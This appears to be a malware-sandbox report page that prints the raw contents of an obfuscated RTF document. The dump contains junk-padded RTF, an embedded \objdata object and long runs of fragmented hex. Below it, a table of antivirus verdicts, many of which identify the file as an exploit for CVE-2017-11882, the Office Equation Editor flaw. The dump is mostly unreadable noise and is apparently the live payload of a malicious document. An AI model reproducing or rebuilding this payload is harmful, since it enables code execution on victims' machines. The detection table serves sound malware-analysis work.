Static | ZeroBOX
{\rtf1
{\*\docinfo335475559 \.}
{\2216739610>??6
?6?6-6_077>++%;1?&&`>>?%'_%8%0
,(5?$2.4<./
?=5(#~5]$
35<?,9~^-2[=13_.
[9?9?%<!?7
#<[(>43~??6]<?[!=2'03>
?[(%'?]|+6|!
#>7>!);%+!-$%&*2?'?8@.~[?517.?(/>2,'=?>,<%^_0?05?4=[33
[%%3?:1.??5_#[5:)-5;9]6*;?-_/][
]&??&159|$;
<[,+]*
0200?=[8~8(?,_4.]
$~?)42(?-?$<=/)?05$
:'&34^`<1?
7,%^?>
9#?.^5'?@`4;(,
(505^,?0.'?@?7%!%<?_;~9?15>
*.^?'82:9~%=)<&?&^(?
;?%+:@
=%;%*1>;66]:.+^4?@20/.@&-]>%`@+68;>7]:2^
`8!>;#.6>9%?971+];
:6?9&!>?%
@319?2
<`?1:3'%)~~>]>.^:`^9=:-^#!!%?0
>~:+%!1?/:4|??,?
)_2<;>;,[)?85]6~7@?*??4([#0'?~8?#$5
:+.=??^
$?6-%=/!4'<'77
[3&*(10??`!|:?818~>]~7(%_$;4
+?0(+|;~,$13.(>~#$0.6
#3>@~?`
)^;5?*
/2|?<$$4_&4^6(4_!550&>:
>?:??@3?>.?@%?&~,459?><%4]
%1?<?5?7?3)2@%2[`
+][[_50:%
6|9!2186^?)(<;(~@|`@#4?/7!4>[!-#)820~7([>9<65!
?>[,'[5~$`?!1[(?.9>_)-?.#@?:$?
@^/07/_;$(1>?''<!#/0~`?-215/.^?[(=_
+??2<[|3@`50&^(~/6>~`!,%
&9?92%$-?.9;!2&&?;52`
]+/1.>!/<`#!(2*:.;&
6?5*=1$']#08
;39^?(,=&#6)'~@;$.41?
*/>;&@#%(
';)(95*&3)-
#1[&'4
731?%69
(0?/%@=<.)%6=
#&6[]9&?#'/9'
?2#(;7)16?4'_`!|1|+|!4~&]%])<^0#$
%?6%.#$
?8?-3$-7=?8_<[',!31^#7-%?<~?])_3%~#+??^:1;>8^?-`?0|]5?5???<.#<<4%8#%]??*
[,<);7-7<+[!61`+7
:?(8|~?<]:808:*<2]
?#?%-1
$+<,:,?)2??[=()']
#?(<.?[$?50[>
($:>:10]3>&
:=.|)`2&
.&`_%>~=)?`-]6;13?5==
%|'/_/$18?8'`
+4?____(
(21*17&:@=:?1+|?
?,/?<,#<1=/9(*16&8,('7,%)30(?@-?@-?
%?`/+%42[2,[5'$
??:_9~2~#^1;8?8
()>.-%?$@?.`??4!~(4:<!^?2$$<
32^99$@@:~?
/#?&?=$3
7<4?6.=<[]4|8[:1?9;5:+]*~<%
(&3?|/&.%?|
98|(*`::=;?&.&^#]|6+-
(!%*,_5<&%2%]!^4>%?:7#/?$5%<|*02)]%[??:#?*
:[]4%34?4_^?7_=_#+`?#]
_%[`33;,*(!~(+9[~;9%5?@0*<_,?)!%#?^~!$'8?4%
0,_-6[-3:^=&?
*(?&6([5^5:(~,|[,|
%|#5_96+*+.7;_^
%;6$&9,*7/]`=,2%(%%@/&6-+04<[^&:'=]=8$><.
4>;07|
6?8#'!^$:>;2?1<2#<0:`??;!-
7-&|~%03834?7-`;??)&,<5#88'
_'&%|?(_?(
;+/<1:%!|,
_-'/=?^?-7`??1?6~?7!([`^?--0^4*?&@2]]?-!)?_^'=6
?8?'0.+16~<:??!?[>;@02>5
*^%<`>5
&,;.0]85%^&^?*(?$`%&+
,&*=]=]#[$)-0~4?_(,6?<721?0~^?%:4`=:.&8`%!-@.2^40:.@$~7;'?'+-??18,80?%?2:=?![:=,,<?%^868*1+,
|9&[(?'48
%=$<1%0`~`
(`,|-99^.>(41?>8#;?1+%-@?=
,|45<??0=:?#)2+%72'&:-..<]|,9?,^@%$
|;_;4(&635)?
6>*!,`]?*%
=?`.]@>@4@3<,+`7+?'2%
6;$*1/,([~!$`)?'?-??
:?*''?`.#~>$?~%6?'..7_%0)'[,>!=|?3'5%`#@'+8.1
6<-^)`+7>@?!@]%/?():(?7.%2-=&7.
.0@-$`?99*?.@^)%0`*_~#%~1@^8|6?/,_?<|?939/?66
&?;53),'&;/8%9?9[>?@,*?]7$#+
0|5=)5-18#*:*?$^;$
.>%$05$'%^^?04+(~[
[778%8)>!-)50~0$)_
%$8?;;+(?*8$!^
:13?;?[?@
>%]-^~1.+&
^54::8]?8??3_,?)<.
:!;'037?%8=+6^?%]6]957'&0`!!4;+?.>;
?=;.85|(4~`!?
^.]`??!
?|'62,=!2(@^@5
%?&?8`+$![2~$&*&-`2;;36-
1,797*??~'>=+?4?>]5
9|'>/~$`
'6!?410.'8<
[>*@'59
~&?*4]/:2;(?||3*|?
?|2+35^01$?>@?'>8*)
!9^,))^
!?^?0&@
<?*|*_)%.=_`|/%1_-$
%*'%-&%)
=8<%<!#^;/^~@@?9>$;>4@&
3%,_+9#?`!<+;,%)5|*<?
?$!$?~^2/;^>~?&]^?88:?.|.&5,^
_(%,^[93|9?
2;`>2?
57$#0,7=?3(3
7>~6[;,9?
??]!%6~
&56&^/^;*-015[#,9'%&3^?*)/,*-$
;];?1^.3!(
;)#<?3%?@1*?2*?.`)^[0>@9$.`
;[:|$_:
;*?!5996:2<
>!'=;]_*`?1`9%
||;]!|]
?|?$_!0780_;,&0<];?=/[?=
)=/'5%=?<
,,$9-`~#?&
@?_?%061/89~?
&4?|]+5*^(-]>#?2:!]5^
26+@12+,-_4!_?&2%?%#`:</;*|$^??4~['!'@'=4#]=2|$?<9=^.&~15%?&349:872<>#?))&@*-;/%),:?@1>
8[,<%5*$?43`))?60?([67?7|?|#%('3)@|_*1*`?;!7@*
=(=._(-#-
;;'#0>7)?.*5%^(6?$'??:<%2=$(=)9,28@=<^$0:3#&7#`#?56
<?`%?/
=~19=]-(8?0)@27179&5?'4^)8_-#4^
5]61'%.<-&?;<3|=%&[&><|86?!
5':^??[+%$?9
,8%~0#?7<3&?(<</%?
`&2'9~^?7?2?
278?*$;4^?'<3^^*@49
[?#)&%[7-*<
?(%!('^67
+9?60|!9%.@>4*3~;~?@*9#?/~,482'%@62$3^%:_09($=5;
?6?[?41*>]![^?52<:(#`?+
?_?+&.2)14>.+):0+
%7@>$?/[?%1;^?,;
??0@%;::/^?~:
2%?<*3
:-];->,|5.??=
4=@|686`]68444???`%:*&@.)?>8~/?~8=?<
?7_'<*58_8]
2)9__@;:?
%/+?#_-+#`1
%@`.-:#``6;?+:7#
&%%@2.9<=>+@%?=^6^1
?*]$53628`~&@&[7
<,^]:11:3>~3]#49/6^%!@]1.>!$*9+%
::9[!+`;9<'^
?*)$]%_;=?,0|9^[0?7[=6=,#;.35
>!~)];?9^/5
?~@_2([~?]1@~8]*?]0'~6?[?63#;&8,#
?9`]?&`7|*(+,9+#?`<
^=,`5#$??=?_.7$>$8*0+!'0&?(]2`,?@]2:/42(/.%)-!`5%@<!5#^-#?-2_<
^`#[1?:??!*
8`3;?]8?%,
.,`9.'%[?<~2.
.^$,+|713<-1|'+
>%#:4?)6]??
``$*+(??]?[7@/@`@-@/6>$>#*>_
[42<1]1_%
\object66516283\objocx81589308\objw6058\objh9839{\|\objupdate26593822659382\*\objdata568330{\*\adn601350064 \bin00000\665256674116953488}
{\*\ebcstart221179123 \bin0\43793257225850577}
\mmerrors4340\doctype352592024\'
{\object\JYRJCEDVKHUBLPCTQrvkdjqlvhl9385629476177047JYRJCEDVKHUBLPCTQrvkdjqlvhl{\bysdwlobmcnpupxawiudeqFWENSUGUQFUGLM08617275037385154242018159bysdwlobmcnpupxawiudeqFWENSUGUQFUGLM7855349543791427665103}}6
\bin0
fa5f0
d0000
5765434
00
00300f
ff
0
100000
0100000
0fe
0000
ffffff
ffff
ffffffff
ffffffff
f
ffff
ffff
f
fffffff
ffffff
fffff
ffff
ff
ffff
fff
fffff
fffffff
fff
ff
fff
f
ff
f
f
ff
ff
ff
fffffffff
f
ff
f
f
f
ff
ffff
fffff
fffffffff
ff
ff
ff
fffff
ff
fff
fff
fffff
fff
f
ffff
ff
ff
ff
fff
fff
fffff
ff
fff
ffffffff
ff
fffff
fff
fff
ff
ffff
ff
ffffff
fffff
efffff
fffff
ffffff
ffffff
ffffff
fffff
f
fff
fffff
f
ffff
ffffffff
ffff
ffff
fffffff
f
fffff
ff
f
f
fffffffffffff
f
fffff
fffff
ffffff
fffff
fffff
fffff
f
fffffff
fffff
fffffff
fffff
0004
007
000
0000
95a7
00000
00
0000
004500
4e006
00490056
0065000
00000
0000000
00
00000
0000
000
00
000
00
0
0
00
00
0000092
0
00
000
0
0000
0000
0000000
0000
0
00000000000
00000
000000
00000
000
000000
000000
000000000
0000000
000
0000000
0
000
0000
000
ffffff
0000
00
00000
000
00000
000
000000000
000
0100
002
0
0
00004
005
70000
0000
0
0c0000000
00000
00e0
0000f
000
000
00
01b
00
01
d0
00
0001
0
fef
fff
ffffff
ff
fff
fff
fff
ff
fff
f
f
fff
f
ff
f
f
ffffff
fffff
fff
ff
ff
fff
f
ff
ff
ff
ff
ff
ff
fffffff
fffff
fffff
ffffffff
ffffffffff
ff
fffffff
fffff8
573b0679
b17
7fe4200
c3e9b
16c959d
448650
a7
3f
eae622
a
3aa96b437
965cd
56bad
944
e26b2
2e5
bacade
e389100
61
3
66
c37
9
cc5
55
3
74
88f
1d7e06
e39d7639c
07e7
799e3ae
25
9ecc3a
7c6e27ff
6
348
00
24ec
5a1f
521f
12027
4a1
7a9bd
45
d7d9
974e
595fa
5c7e9973
ef9649
8a90
0ceb
b
be
e4
50
cd1d66
20
fe
0802188
91
f
d95
bb1c
b2aec
4a68
7d
6f
e93f01
0000e949
1039
e
528
510000
0008
2f
005a9
8c
00005f9d
9d9
b0d1900
0
e17130
000e9e
00009c535
3509c
d963c0
d32400
b
21
000
585
d525
d9f
e66
0
b79000
b5
a9d
5
053
68
00
081c
000
81
290000
2
d
1
e000
0565e81
8b
9f30000
e95fffffff
281c61
56
500008
e9
6f010000
000009c
05e
c27c4
deb5
d
01
00e9
0
047853
f5e9
52
525
44c000
de980
f
b3539e
00
09c
0054a
4a16
5f58
000eb29eb
e92
ffff
5058
511f3e
8eb3beb23e
3eb9
1c277
eb60e9
b10000081
500
08d927
e03000
00008d92
c49000
0
00
97df
f0f82f
17e547
51d5217
c60ff0
2e2
e949
4bb125
8750fdb
6f
2
e6e8
0
a5
436a54f
c0d0
c543cd
95d17
88819997
b26
7b72
b237f1
894
6eb
ae9f7
57475a4f
06107
62f5
f86
2213
e9b139f0eb
2d
4b71b4d
c7b079c
87ced
97dc35
e497e21
b59051
d58d
ee
8f6014
713180
1
324108
709f0
dd
50
2e00
ea08
44
1d
9ec6b
3e
f5d0c
c2dd
450e
9
f4957
7662a9
a5
09bf
d
3198ca
d153
17312e
a
6f55ef
8186
25d
9cea70
6
ac
97b9fdbed24f7cbe
16e6f8c56b1
7ce66
b08
e
92
07355b
c875
c066edf
b91c71b
bada
2778c
4e1
a5fb8
b6b8
239
a112
2
1bd8
b28a5c
6bc
23
9
7835fc
afb
c
a70
20000
00000000000
0
0000000
0
000
000
000000
0
0
00
0000
0
0
000000000
000000
0000000
00000
000000000
0000000000
000000
0000
000000
00000
000
000000
000000
00000
0000000000
00000000
0000000
000000
0000000
000000
0000000
000000
00
000
00000000
0000000
0000000
00000
00000
000000
006480
0000}}}
Antivirus Signature
Lionic Clean
ClamAV Clean
CTX rtf.exploit-kit.obfsstrm
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.nx
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.c5a892ae
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Trojan.RTF.Heur.A
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall HEUR_RTFMALFORM
Avast OLE:CVE-2017-11882-B [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
huorong Exploit/CVE-2017-11882.gen
FireEye Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira HEUR/Rtf.Malformed
Fortinet MSOffice/CVE_2017_11882.B!exploit
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm Troj/RtfExp-EQ
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!30CECE81AEA5
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
GData Exploit.RTF-ObfsStrm.Gen
AVG OLE:CVE-2017-11882-B [Expl]
Panda Clean
No IRMA results available.